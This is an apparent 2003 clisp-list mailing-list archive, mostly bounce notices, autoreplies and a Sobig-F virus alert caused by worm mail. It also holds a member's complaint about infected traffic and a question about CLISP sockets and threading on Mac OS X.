--9B095B5ADSN=_01C36165D4B45E8C0001689Fmpb1exch02.nuanc Content-Type: text/plain; charset=unicode-1-1-utf-7 This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. junluo@nuance.com --9B095B5ADSN=_01C36165D4B45E8C0001689Fmpb1exch02.nuanc Content-Type: message/delivery-status Reporting-MTA: dns;mpb1exch02.nuance.com Received-From-MTA: dns;strider.nuance.com Arrival-Date: Tue, 19 Aug 2003 18:32:29 -0700 Final-Recipient: rfc822;junluo@nuance.com Action: failed Status: 5.2.1 X-Display-Name: Jun Luo --9B095B5ADSN=_01C36165D4B45E8C0001689Fmpb1exch02.nuanc Content-Type: message/rfc822 Received: from strider.nuance.com ([10.0.0.27]) by mpb1exch02.nuance.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 19 Aug 2003 18:32:29 -0700 Received: from ns1.nuance.com (ns1.nuance.com [208.252.220.9]) by strider.nuance.com (Postfix) with ESMTP id B1E3610642C for ; Tue, 19 Aug 2003 18:32:28 -0700 (PDT) Received: from CE55 (d-128-78-122.bootp.Virginia.EDU [128.143.78.122]) by ns1.nuance.com (Switch-2.2.6/Switch-2.2.6) with ESMTP id h7K1cIh19063 for ; Tue, 19 Aug 2003 18:38:18 -0700 (PDT) Message-Id: <200308200138.h7K1cIh19063@ns1.nuance.com> From: To: Subject: Re: Thank you! Date: Tue, 19 Aug 2003 21:32:28 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_03F9892C" Return-Path: clisp-list@lists.sourceforge.net X-OriginalArrivalTime: 20 Aug 2003 01:32:29.0388 (UTC) FILETIME=[EB48E8C0:01C366BA] This is a multipart message in MIME format --_NextPart_000_03F9892C Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_03F9892C-- --9B095B5ADSN=_01C36165D4B45E8C0001689Fmpb1exch02.nuanc-- From MAILER-DAEMON Tue Aug 19 23:38:22 2003 Received: from mail.mailbox.ro ([193.226.118.6]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pLu3-0006ub-00 for ; Tue, 19 Aug 2003 22:53:03 -0700 Received: (qmail 31168 invoked for bounce); 20 Aug 2003 12:52:39 -0000 From: MAILER-DAEMON@mail.mailbox.ro To: clisp-list@lists.sourceforge.net Message-Id: Subject: [clisp-list] failure notice Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 23:39:09 2003 X-Original-Date: 20 Aug 2003 12:52:39 -0000 Hi. This is the qmail-send program at mail.mailbox.ro. I'm afraid I wasn't able to deliver your message to the following addresses. This is a permanent error; I've given up. Sorry it didn't work out. : Sorry, no mailbox here by that name. (#5.1.1) --- Below this line is a copy of the message. Return-Path: Received: (qmail 31164 invoked by uid 504); 20 Aug 2003 12:52:39 -0000 Received: from clisp-list@lists.sourceforge.net by mail.mailbox.ro by uid 501 with qmail-scanner-1.16 (clamscan: 0.60. spamassassin: 2.55. Clear:SA:1(6.6/5.0):. Processed in 0.612094 secs); 20 Aug 2003 12:52:39 -0000 X-Spam-Status: Yes, hits=6.6 required=5.0 Received: from d-128-78-122.bootp.virginia.edu (HELO CE55) (128.143.78.122) by mail.mailbox.ro with SMTP; 20 Aug 2003 12:52:38 -0000 From: To: Subject: Re: Your application Date: Wed, 20 Aug 2003 1:53:00 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_04E8102C" X-Qmail-Scanner-Message-ID: <106138395852631155@mail.mailbox.ro> This is a multipart message in MIME format --_NextPart_000_04E8102C Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_04E8102C-- From MAILER-DAEMON Tue Aug 19 23:58:10 2003 Received: from lmta03.melange.net ([212.59.199.88] helo=mx3.melange.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pJcP-0001az-00 for ; Tue, 19 Aug 2003 20:26:42 -0700 Received: from plant.melange.net (webmail6.melange.net [192.168.197.97]) by mx3.melange.net (8.11.2/8.11.0) with ESMTP id h7K3Qex06725 for ; Wed, 20 Aug 2003 05:26:40 +0200 To: clisp-list@lists.sourceforge.net From: Mail Administrator Reply-To: Mail Administrator Message-Id: MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; Boundary="===========================_ _= 1045837(1657+7545712)" Subject: [clisp-list] Mail System Error - Returned Mail Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 23:59:03 2003 X-Original-Date: Wed, 20 Aug 2003 05:26:40 +0200 --===========================_ _= 1045837(1657+7545712) Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit This Message was undeliverable due to the following reason: One or more of the recipients of your message did not receive it because they would have exceeded their mailbox size limit. It may be possible for you to successfully send your message again at a later time; however, if it is large, it is recommended that you first contact the recipients to confirm that the space will be available for your message when you send it. User quota exceeded: SMTP Please reply to if you feel this message to be in error. --===========================_ _= 1045837(1657+7545712) Content-Type: message/delivery-status Content-Disposition: inline Content-Transfer-Encoding: 7bit Reporting-MTA: dns; plant.melange.net Received-From-MTA:dns; lavin02 (192.168.197.19) Arrival-Date: Wed, 20 Aug 2003 05:26:40 +0200 --===========================_ _= 1045837(1657+7545712) Content-Type: message/rfc822 Content-Disposition: inline Content-Transfer-Encoding: 7bit Return-Path: Received: from lavin02 ([192.168.197.19]) by plant.melange.net (Netscape Messaging Server 4.15 plant Mar 14 2002 21:29:48) with ESMTP id HJWEWG00.BXX for ; Wed, 20 Aug 2003 05:26:40 +0200 Received: from [128.143.78.122] (helo=CE55) by lavin02 with esmtp id 19pJlO-0006JF-00 for jbezos@arrakis.es; Wed, 20 Aug 2003 05:35:58 +0200 From: To: Subject: Thank you! Date: Tue, 19 Aug 2003 23:26:39 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_046212F9" Message-Id: This is a multipart message in MIME format --_NextPart_000_046212F9 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_046212F9-- --===========================_ _= 1045837(1657+7545712)-- From lutherh@stratcom.com Wed Aug 20 00:43:06 2003 Received: from host24.webserver1010.com ([65.109.239.63]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pMv5-0006KN-00 for ; Tue, 19 Aug 2003 23:58:11 -0700 Received: (from stratcom@localhost) by host24.webserver1010.com (8.12.9/8.12.9) id h7K6w4Af014980; Wed, 20 Aug 2003 02:58:04 -0400 From: lutherh@stratcom.com Message-Id: <200308200658.h7K6w4Af014980@host24.webserver1010.com> X-Authentication-Warning: host24.webserver1010.com: stratcom set sender to lutherh@stratcom.com using -f To: clisp-list@lists.sourceforge.net References: <200308200658.h7K6w32f014971@host24.webserver1010.com> In-Reply-To: <200308200658.h7K6w32f014971@host24.webserver1010.com> X-Loop: default@stratcom.com Precedence: junk Subject: [clisp-list] Re: Wicked screensaver Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 00:44:02 2003 X-Original-Date: Wed, 20 Aug 2003 02:58:04 -0400 You have reached a non-working email at Strategic Computer Solutions, Inc. If you believe you are getting this message in error, please email info@stratcom.com From support-admin@insightful.com Wed Aug 20 00:47:23 2003 Received: from postal.insightful.com ([63.214.2.68]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pIqn-00046y-00 for ; Tue, 19 Aug 2003 19:37:29 -0700 Received: from localhost.localdomain (postal [127.0.0.1]) by postal.insightful.com (8.11.6/8.11.6) with ESMTP id h7K2e0731901 for ; Tue, 19 Aug 2003 19:40:00 -0700 Message-Id: <200308200240.h7K2e0731901@postal.insightful.com> From: support-admin@insightful.com To: clisp-list@lists.sourceforge.net X-Mailer: The Mailman Replybot X-Ack: no X-BeenThere: support@insightful.com X-Mailman-Version: 2.0.6 Precedence: bulk Subject: [clisp-list] Auto-response for your message to Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 00:48:07 2003 X-Original-Date: Tue, 19 Aug 2003 19:40:00 -0700 (This is an automatic reply.) Thank you for contacting Insightful Technical Support. This automated reply message is to let you know that we have received your inquiry. The Technical Support team is dedicated to providing responsive, effective support that helps our customers use our products effectively. Your question will be assigned to one of our Technical Support Engineers who will respond to you directly. Our response time is dependent on the volume of calls received and the complexity of your question. We appreciate your patience and will provide you with a personal response to your question shortly. Until then, we would like to provide you with directions to information and solutions located on the Insightful web site that may help answer your question. We have collected many of the questions users like you have written. These questions and answers can be found in our FAQ library at: http://www.insightful.com/support You can check on the status of your question by sending mail to: support@insightful.com or by calling our toll free support line at 1-800-569-0123 ext. 235. Regards, Insightful Technical Support From MAILER-DAEMON Wed Aug 20 03:36:52 2003 Received: from ns1.swov.nl ([194.171.80.254]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pKEk-0004z5-00 for ; Tue, 19 Aug 2003 21:06:18 -0700 Received: from localhost (localhost) by ns1.swov.nl (8.11.6+Sun/8.11.6) id h7K46GW02913; Wed, 20 Aug 2003 06:06:16 +0200 (MEST) From: Mail Delivery Subsystem Message-Id: <200308200406.h7K46GW02913@ns1.swov.nl> To: MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="h7K46GW02913.1061352376/ns1.swov.nl" Auto-Submitted: auto-generated (failure) Subject: [clisp-list] Returned mail: see transcript for details Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 03:37:21 2003 X-Original-Date: Wed, 20 Aug 2003 06:06:16 +0200 (MEST) This is a MIME-encapsulated message --h7K46GW02913.1061352376/ns1.swov.nl The original message was received at Wed, 20 Aug 2003 06:06:15 +0200 (MEST) from d-128-78-122.bootp.Virginia.EDU [128.143.78.122] ----- The following addresses had permanent fatal errors ----- (reason: 550 5.1.1 unknown or illegal user: poppe@beta.swov.nl) (expanded from: ) ----- Transcript of session follows ----- ... while talking to beta.swov.nl.: >>> RCPT To: <<< 550 5.1.1 unknown or illegal user: poppe@beta.swov.nl 550 5.1.1 ... User unknown --h7K46GW02913.1061352376/ns1.swov.nl Content-Type: message/delivery-status Reporting-MTA: dns; ns1.swov.nl Received-From-MTA: DNS; d-128-78-122.bootp.Virginia.EDU Arrival-Date: Wed, 20 Aug 2003 06:06:15 +0200 (MEST) Final-Recipient: RFC822; X-Actual-Recipient: RFC822; poppe@beta.swov.nl Action: failed Status: 5.1.1 Remote-MTA: DNS; beta.swov.nl Diagnostic-Code: SMTP; 550 5.1.1 unknown or illegal user: poppe@beta.swov.nl Last-Attempt-Date: Wed, 20 Aug 2003 06:06:16 +0200 (MEST) --h7K46GW02913.1061352376/ns1.swov.nl Content-Type: message/rfc822 Return-Path: Received: from CE55 (d-128-78-122.bootp.Virginia.EDU [128.143.78.122]) by ns1.swov.nl (8.11.6+Sun/8.11.6) with ESMTP id h7K46FW02909 for ; Wed, 20 Aug 2003 06:06:15 +0200 (MEST) Message-Id: <200308200406.h7K46FW02909@ns1.swov.nl> From: To: Subject: Your details Date: Wed, 20 Aug 2003 0:06:15 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_04865698" This is a multipart message in MIME format --_NextPart_000_04865698 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_04865698-- --h7K46GW02913.1061352376/ns1.swov.nl-- From MAILER-DAEMON Wed Aug 20 04:38:42 2003 Received: from mail.alkar.net ([195.248.191.95]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pLoo-0004yr-00 for ; Tue, 19 Aug 2003 22:47:39 -0700 From: MAILER-DAEMON@mail.alkar.net To: Message-ID: MIME-Version: 1.0 Content-Type: multipart/report; report-type="delivery-status"; boundary="_===98086585====mail.alkar.net===_" Subject: [clisp-list] Undeliverable mail: Thank you! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 04:39:11 2003 X-Original-Date: Wed, 20 Aug 2003 08:47:35 +0300 --_===98086585====mail.alkar.net===_ Content-Type: text/plain; charset="utf-8" Failed to deliver to '' LOCAL module(account prtech@a-teleport.com) reports: account is full (quota exceeded) --_===98086585====mail.alkar.net===_ Content-Type: message/delivery-status Reporting-MTA: dns; mail.alkar.net Original-Recipient: rfc822; Final-Recipient: LOCAL; Action: failed Status: 5.0.0 --_===98086585====mail.alkar.net===_ Content-Type: text/rfc822-headers Received: from smtp1.alkar.net ([195.248.191.68] verified) by mail.alkar.net (CommuniGate Pro SMTP 4.1) with ESMTP id 98086584 for gandalf@prtech.dp.ua; Wed, 20 Aug 2003 08:47:35 +0300 Received: from CE55 (d-128-78-122.bootp.Virginia.EDU [128.143.78.122]) by smtp1.alkar.net (Postfix) with ESMTP id 4012391DBF for ; Wed, 20 Aug 2003 08:47:34 +0300 (EEST) From: To: Subject: Thank you! Date: Wed, 20 Aug 2003 1:47:33 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_04E3190C" Message-Id: <20030820054734.4012391DBF@smtp1.alkar.net> --_===98086585====mail.alkar.net===_-- From MAILER-DAEMON Wed Aug 20 06:21:36 2003 Received: from freesurfmta01.sunrise.ch ([194.230.0.16] helo=freesurfmail.sunrise.ch) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pSc1-0005B4-00 for ; Wed, 20 Aug 2003 06:02:54 -0700 Received: by freesurfmail.sunrise.ch (6.0.055) id 3F3B3BCE000EA767 for clisp-list@lists.sourceforge.net; Wed, 20 Aug 2003 15:02:53 +0200 From: E-Mail-Lieferservice To: clisp-list@lists.sourceforge.net Message-ID: <3F3B3BCE000EA766@freesurfmta01.sunrise.ch> MIME-Version: 1.0 Content-Type: Multipart/Report; report-type=delivery-status; boundary="========/3F3B3BCE000EA765/freesurfmail.sunrise.ch" Subject: [clisp-list] Lieferstatusbenachrichtigung Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 06:22:19 2003 X-Original-Date: Wed, 20 Aug 2003 15:02:53 +0200 Diese mehrteilige MIME-Nachricht enhält eine Lieferstatusbenachrichtigung. Wenn Sie diesen Text sehen, kann Ihr Mail-Client MIME-formatierte Nachrichten oder DNS eventuell nicht richtig verarbeiten. Weitere Informationen hierzu finden Sie unter RFC 2045 bis 2049. --========/3F3B3BCE000EA765/freesurfmail.sunrise.ch Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: Quoted-Printable - Diese Nachrichtenempf=E4nger wurden vom Mail-Server bereits verarbeit= et: chapuis.lionel@freesurf.ch; Fehlgeschlagen; 5.7.0 (anderer oder nicht def= inierter Sicherheitsstatus) --========/3F3B3BCE000EA765/freesurfmail.sunrise.ch Content-Type: Message/Delivery-Status Content-Transfer-Encoding: 7Bit Reporting-MTA: dns; freesurfmail.sunrise.ch Received-from-MTA: dns; AC-022524 (153.109.106.2) Arrival-Date: Wed, 20 Aug 2003 15:02:53 +0200 Final-Recipient: rfc822; chapuis.lionel@freesurf.ch Action: Failed Status: 5.7.0 (other or undefined security status) --========/3F3B3BCE000EA765/freesurfmail.sunrise.ch Content-Type: Text/RFC822-headers Content-Transfer-Encoding: 7Bit Return-Path: Received: from AC-022524 (153.109.106.2) by freesurfmail.sunrise.ch (6.0.055) id 3F3B3BCE000EA765 for chapuis.lionel@freesurf.ch; Wed, 20 Aug 2003 15:02:52 +0200 Message-ID: <3F3B3BCE000EA765@freesurfmta01.sunrise.ch> (added by postmaster@freesurf.ch) From: To: Subject: Re: Thank you! Date: Wed, 20 Aug 2003 15:05:03 +0200 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_0006C441" --========/3F3B3BCE000EA765/freesurfmail.sunrise.ch-- From clisp-devel-admin@lists.sourceforge.net Wed Aug 20 06:32:36 2003 Received: from sc8-sf-list2-b.sourceforge.net ([10.3.1.14] helo=sc8-sf-list2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19pSpO-0005ye-00 for ; Wed, 20 Aug 2003 06:16:42 -0700 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.13] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list2.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pSPC-00033l-00 for ; Wed, 20 Aug 2003 05:49:38 -0700 From: clisp-devel-admin@lists.sourceforge.net To: clisp-list@lists.sourceforge.net X-Ack: no X-BeenThere: clisp-devel@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk Message-Id: Subject: [clisp-list] Your message to clisp-devel awaits moderator approval Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 06:33:35 2003 X-Original-Date: Wed, 20 Aug 2003 05:49:06 -0700 Your mail to 'clisp-devel' with the subject Re: That movie Is being held until the list moderator can review it for approval. The reason it is being held: Post by non-member to a members-only list Either the message will get posted to the list, or you will receive notification of the moderator's decision. From Samuel.Fierz@hepvs.ch Wed Aug 20 06:38:35 2003 Received: from [153.109.106.15] (helo=nwehep1.hepvs.ch) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pSvW-00048B-00 for ; Wed, 20 Aug 2003 06:23:02 -0700 Received: from HEPVS-MTA by nwehep1.hepvs.ch with Novell_GroupWise; Wed, 20 Aug 2003 15:25:03 +0200 Message-Id: X-Mailer: Novell GroupWise Internet Agent 6.5.0 From: "Samuel Fierz" Reply-To: Samuel.Fierz@hepvs.ch To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Subject: [clisp-list] =?ISO-8859-1?Q?R=E9p.=20:=20Thank=20you!?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 06:39:06 2003 X-Original-Date: Wed, 20 Aug 2003 15:24:51 +0200 Bonjour, Merci pour votre message.=20 J'y r=E9pondrai d=E8s mon retour, le 25 ao=FBt. Samuel Fierz From marcoxa@cs.nyu.edu Wed Aug 20 08:04:54 2003 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19pTkd-0002Fh-00 for ; Wed, 20 Aug 2003 07:15:51 -0700 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (Postfix) with ESMTP id EDA0419D6A for ; Wed, 20 Aug 2003 10:15:31 -0400 (EDT) Mime-Version: 1.0 (Apple Message framework v552) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: X-Mailer: Apple Mail (2.552) Subject: [clisp-list] Please make sure your machine is virus clean! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 08:05:21 2003 X-Original-Date: Wed, 20 Aug 2003 10:15:35 -0400 I am getting a lot of virus infected stuff on clisp-list. Cheers -- Marco Antoniotti NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From LISTSERV@java.sun.com Wed Aug 20 09:18:21 2003 Received: from swjscmail2.sun.com ([192.18.99.108] helo=swjscmail2.java.sun.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pVLH-0001G5-00 for ; Wed, 20 Aug 2003 08:57:47 -0700 Received: from swjscmail1 (swjscmail1.Sun.COM [192.18.99.107]) by swjscmail2.java.sun.com (Postfix) with ESMTP id D290B2252C for ; Wed, 20 Aug 2003 09:24:12 -0600 (MDT) From: "L-Soft list server at Sun Microsystems Inc. (1.8e)" To: clisp-list@LISTS.SOURCEFORGE.NET Message-ID: Subject: [clisp-list] Re: Approved Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 09:19:07 2003 X-Original-Date: Wed, 20 Aug 2003 09:20:57 -0600 > See the attached file for details Unknown command - "SEE". Try HELP. Summary of resource utilization ------------------------------- CPU time: 0.010 sec Overhead CPU: 0.000 sec CPU model: 4-CPU Ultra-80 Job origin: clisp-list@LISTS.SOURCEFORGE.NET From AMaViS@fh-wolfenbuettel.de Wed Aug 20 11:17:15 2003 Received: from inet.fh-wolfenbuettel.de ([141.41.1.250]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pX7u-0005ne-00 for ; Wed, 20 Aug 2003 10:52:07 -0700 Received: from inet.fh-wolfenbuettel.de (localhost [127.0.0.1]) by Inet.FH-Wolfenbuettel.DE (8.12.9/8.12.9) with ESMTP id h7KHpss4011352 for ; Wed, 20 Aug 2003 19:51:54 +0200 (MEST) Received: (from root@localhost) by inet.fh-wolfenbuettel.de (8.12.9/8.12.7/Submit) id h7KHpsPG011351; Wed, 20 Aug 2003 19:51:54 +0200 (MEST) Message-Id: <200308201751.h7KHpsPG011351@inet.fh-wolfenbuettel.de> From: AMaViS@FH-Wolfenbuettel.DE To: X-Spam-Report: 3.3/5.0 NO_REAL_NAME (0.7 points) From: does not include a real name PLING_PLING (1.8 points) Subject has lots of exclamation marks MANY_EXCLAMATIONS (0.8 points) Subject has many exclamations X-Virus-Scanned: by amavisd-milter (http://amavis.org/) Subject: [clisp-list] !!! Virus in Ihrer Mail !!! Virus in your Mail !!! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 11:18:03 2003 X-Original-Date: Wed, 20 Aug 2003 19:51:54 +0200 (MEST) ----------------------------------------------------------------------------- E-Mail V i r e n - A l a r m E-Mail V i r u s A l e r t V i r u s A l e r t E-Mail V i r e n - A l a r m V i r e n - A l a r m E-Mail V i r u s A l e r t E-Mail ----------------------------------------------------------------------------- Der Virenchecker im Mailsystem hat | The viruschecker in the mailsystem den/die | found the 'W32/Sobig-F' Virus/Viren in einer Mail von | virus(es) in an email from you. Ihnen gefunden. | Betroffen ist die E-Mail an: | Infected is the mail to -> | Bitte nehmen Sie eine Viren- | Please check your system for ueberpruefung Ihres Rechners vor ! | viruses. | Hier der Kopf der betroffenen | Here is the header of the infected Mail: | mail: ----------------------------------------------------------------------------- From: To: Subject: Re: Thank you! Date: Wed, 20 Aug 2003 19:51:48 +0200 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_00A40E98" ----------------------------------------------------------------------------- Bei Fragen wenden Sie sich bitte an | For questions, please mail to postmaster@fh-wolfenbuettel.de Diese Mail wurde automatisch erzeugt| This mail was genarated automaticaly. ----------------------------------------------------------------------------- ############## ############## Dipl.-Ing. Thomas Keune ## ## Fachhochschule Rechenzentrum - Computing Center ## ## ## Braunschweig/Wolfenbuettel ## ## ## ## Wolfenbuettel ### ## ## Germany # ########## ############ University of Applied Sciences ----------------------------------------------------------------------------- From phalgune@ghost.cs.orst.edu Wed Aug 20 12:32:03 2003 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pY9u-0000yb-00 for ; Wed, 20 Aug 2003 11:58:14 -0700 Received: from jasper04.CS.ORST.EDU (jasper04.CS.ORST.EDU [128.193.39.111]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with SMTP id h7KIw8a7004743 for ; Wed, 20 Aug 2003 11:58:08 -0700 (PDT) Message-Id: <200308201858.h7KIw8a7004743@ghost.CS.ORST.EDU> From: amit phalgune Reply-To: amit phalgune To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: LMNBk1oOBrfCFVVVhoQMpw== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4.6_06 SunOS 5.8 sun4u sparc Subject: [clisp-list] CLIP , Mac and sockets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 12:33:01 2003 X-Original-Date: Wed, 20 Aug 2003 11:58:08 -0700 (PDT) Hi, I am planning to use CLISP on Mac OS 10. I understand that CLISP supports Macs. But I am not sure if sockets and multi threading is supported by CLISP on Macs. Can anyone guide me on this please !! Also from the documents I looked at, looks like CLISP supports sockets on Unix and Win32 only. Is this correct ? How abt Macs ? Does CLISP support multi threading on UNIX and Windows ? Thanks for the help Amit From kraehe@copyleft.de Wed Aug 20 12:47:14 2003 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pYFh-0004NT-00 for ; Wed, 20 Aug 2003 12:04:13 -0700 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout2.freenet.de with asmtp (Exim 4.21) id 19pXiH-0004vG-FR; Wed, 20 Aug 2003 20:29:41 +0200 Received: from olli.mcbone.net ([194.97.50.59] helo=bakunin.copyleft.de) by mx3.freenet.de with esmtp (Exim 4.21 #2) id 19pXiH-0005C9-4c; Wed, 20 Aug 2003 20:29:41 +0200 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 19pXno-0005pv-00; Wed, 20 Aug 2003 20:35:24 +0200 From: Michael Koehne To: Samuel Fierz , Marco Antoniotti , 